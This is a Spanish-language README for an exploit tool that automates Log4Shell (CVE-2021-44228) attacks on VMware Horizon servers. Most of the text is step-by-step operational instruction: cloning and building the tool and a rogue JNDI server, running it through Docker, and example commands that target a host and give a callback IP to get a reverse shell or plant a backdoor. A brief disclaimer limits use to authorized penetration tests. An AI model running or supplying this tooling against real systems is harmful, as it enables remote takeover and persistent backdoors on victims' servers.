
Explotando CVE-2021-44228 en VMWare Horizon para ejecución remota de código y más.
Explotando CVE-2021-44228 en VMWare Horizon para ejecución remota de código y más.
El código y el README.md esta vez están un poco dispersos. ¡Próximamente habrá actualizaciones!
Las pruebas de concepto para esta vulnerabilidad están dispersas y deben realizarse manualmente. Este repositorio automatiza el proceso de explotación. Consulta la publicación del blog anterior para obtener orientación sobre la post-explotación.
Este repositorio se puede utilizar manualmente o con Docker.
Para descargar y ejecutar el exploit manualmente, ejecuta los siguientes pasos. Primero, asegúrate de que Java y Maven estén instalados en tu host atacante. Para hacerlo usando apt en sistemas operativos basados en Debian, ejecuta el siguiente comando:
apt update && apt install openjdk-11-jre maven
Clona el repositorio de GitHub e instala todos los requisitos de Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
Desde la raíz del repositorio Log4jHorizon, compila el proyecto Rogue-Jndi usando el siguiente comando:
mvn package -f utils/rogue-jndi/
Primero, asegúrate de que Docker esté instalado en tu host atacante. (No te voy a guiar paso a paso en esto)
Después de eso, ejecuta el siguiente comando para clonar el repositorio y construir la imagen de Docker que usaremos.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
Para ejecutar el contenedor, ejecuta un comando similar al siguiente con tus banderas de línea de comandos añadidas. Ten en cuenta que el contenedor no capturará una reverse shell. Necesitas crear un listener de ncat en una sesión de shell separada:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
Obtén una reverse shell usando la herramienta instalada en tu sistema local:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
Esta herramienta está diseñada para su uso durante pruebas de penetración; el uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por cualquier uso indebido de este programa.